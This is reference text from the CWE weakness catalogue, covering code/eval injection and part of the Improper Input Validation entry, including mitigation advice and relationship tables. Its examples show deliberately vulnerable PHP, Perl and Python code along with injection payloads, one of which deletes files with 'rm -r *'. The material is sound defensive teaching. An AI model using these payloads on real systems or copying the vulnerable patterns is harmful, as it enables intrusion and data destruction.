ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Interpreted (Sometimes Prevalent)

Technologies

AI/ML (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example attempts to write user messages to a message file and allow users to view them.

(bad code)
Example Language: PHP 
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
$name = $_GET["name"];
$message = $_GET["message"];
$handle = fopen($MessageFile, "a+");
fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
fclose($handle);
echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
include($MessageFile);
}

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

(attack code)
 
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E

which will decode to the following:

(attack code)
 
<?php system("/bin/ls -l");?>

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.


Example 2

edit-config.pl: This CGI script is used to modify settings in a configuration file.

(bad code)
Example Language: Perl 
use CGI qw(:standard);

sub config_file_add_key {
my ($fname, $key, $arg) = @_;

# code to add a field/key to a file goes here
}

sub config_file_set_key {
my ($fname, $key, $arg) = @_;

# code to set key to a particular file goes here
}

sub config_file_delete_key {
my ($fname, $key, $arg) = @_;

# code to delete key from a particular file goes here
}

sub handleConfigAction {
my ($fname, $action) = @_;
my $key = param('key');
my $val = param('val');

# this is super-efficient code, especially if you have to invoke


# any one of dozens of different functions!

my $code = "config_file_$action_key(\$fname, \$key, \$val);";
eval($code);
}

$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
handleConfigAction($configfile, param('action'));
}
else {
print "No action specified!\n";
}

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

(attack code)
 
add_key(",","); system("/bin/ls");

This would produce the following string in handleConfigAction():

(result)
 
config_file_add_key(",","); system("/bin/ls");

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.


Example 3

This simple script asks a user to supply a list of numbers as input and adds them together.

(bad code)
Example Language: Python 
def main():
sum = 0
numbers = eval(input("Enter a space-separated list of numbers: "))
for num in numbers:
sum = sum + num
print(f"Sum of {numbers} = {sum}")
main()

The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:

(attack code)
 
__import__('subprocess').getoutput('rm -r *')

This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.

A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.

(good code)
Example Language: Python 
def main():
sum = 0
numbers = input("Enter a space-separated list of numbers: ").split(" ")
try:
for num in numbers:
sum = sum + int(num)
print(f"Sum of {numbers} = {sum}")
except ValueError:
print("Error: invalid input")
main()

An alternative, commonly-cited mitigation for this kind of weakness is to use the ast.literal_eval() function, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].


+ Observed Examples
ReferenceDescription
Math component in an LLM framework translates user input into a Python expression that is input into the Python exec() method, allowing code execution - one variant of a "prompt injection" attack.
Python-based library uses an LLM prompt containing user input to dynamically generate code that is then fed as input into the Python exec() method, allowing code execution - one variant of a "prompt injection" attack.
Framework for LLM applications allows eval injection via a crafted response from a hosting provider.
Python compiler uses eval() to execute malicious strings as Python code.
Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.
"Code injection" in VPN product, as exploited in the wild per CISA KEV.
Eval injection in PHP program.
Eval injection in Perl program.
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
Direct code injection into Perl eval function.
Eval injection in Perl program.
Direct code injection into Perl eval function.
Direct code injection into Perl eval function.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
Code injection into Python eval statement from a field in a formatted file.
Eval injection in Python program.
chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
Perl code directly injected into CGI library file from parameters to another CGI program.
Direct PHP code injection into supporting template file.
Direct code injection into PHP script that can be accessed by attacker.
PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCODECode Evaluation and Injection
ISA/IEC 62443Part 4-2Req CR 3.5
ISA/IEC 62443Part 3-3Req SR 3.5
ISA/IEC 62443Part 4-1Req SVV-1
ISA/IEC 62443Part 4-1Req SVV-3
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
[REF-1372] "How ast.literal_eval can cause memory exhaustion". Reddit. 2022-12-14. <https://www.reddit.com/r/learnpython/comments/zmbhcf/how_astliteral_eval_can_cause_memory_exhaustion/>. URL validated: 2023-11-03.
[REF-1373] "ast - Abstract Syntax Trees". ast.literal_eval(node_or_string). Python. 2023-11-02. <https://docs.python.org/3/library/ast.html#ast.literal_eval>. URL validated: 2023-11-03.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-06-29
(CWE 4.12, 2023-06-29)
"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Research_Gaps, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Potential_Mitigations, Relationships
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships, Taxonomy_Mappings
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content TeamMITRE
updated Applicable_Platforms, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Code Injection
2009-05-27Failure to Control Generation of Code (aka 'Code Injection')
2011-03-29Failure to Control Generation of Code ('Code Injection')

CWE-20: Improper Input Validation

Weakness ID: 20
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
+ Extended Description

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.)

Input validation can be applied to:

  • raw data - strings, numbers, parameters, file contents, etc.
  • metadata - information about the raw data, such as headers or size

Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data.

Many properties of raw data or metadata may need to be validated upon entry into the code, such as:

  • specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.
  • implied or derived quantities, such as the actual size of a file instead of a specified size
  • indexes, offsets, or positions into more complex data structures
  • symbolic keys or other elements into hash tables, associative arrays, etc.
  • well-formedness, i.e. syntactic correctness - compliance with expected syntax
  • lexical token correctness - compliance with rules for what is treated as a token
  • specified or derived type - the actual type of the input (or what the input appears to be)
  • consistency - between individual data elements, between raw data and metadata, between references, etc.
  • conformance to domain-specific rules, e.g. business logic
  • equivalence - ensuring that equivalent inputs are treated the same
  • authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data

Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation.

Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.
Confidentiality

Technical Impact: Read Memory; Read Files or Directories

An attacker could read confidential data if they are able to control resource references.
Integrity
Confidentiality
Availability

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands

An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Attack Surface Reduction

Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness: High

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.179Incorrect Behavior Order: Early Validation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.622Improper Validation of Function Hook Arguments
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1173Improper Use of Validation Framework
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1284Improper Validation of Specified Quantity in Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1285Improper Validation of Specified Index, Position, or Offset in Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1286Improper Validation of Syntactic Correctness of Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1287Improper Validation of Specified Type of Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1288Improper Validation of Consistency within Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1289Improper Validation of Unsafe Equivalence in Input
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.129Improper Validation of Array Index
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1284Improper Validation of Specified Quantity in Input
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.15External Control of System or Configuration Setting
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.102Struts: Duplicate Validation Forms
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.103Struts: Incomplete validate() Method Definition
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.104Struts: Form Bean Does Not Extend Validation Class
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.105Struts: Form Field Without Validator
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.106Struts: Plug-in Framework not in Use
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.107Struts: Unused Validation Form
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.108Struts: Unvalidated Action Form
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.109Struts: Validator Turned Off
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.110Struts: Validator Without Form Field
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.111Direct Use of Unsafe JNI
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.112Missing XML Validation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.114Process Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.117Improper Output Neutralization for Logs
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
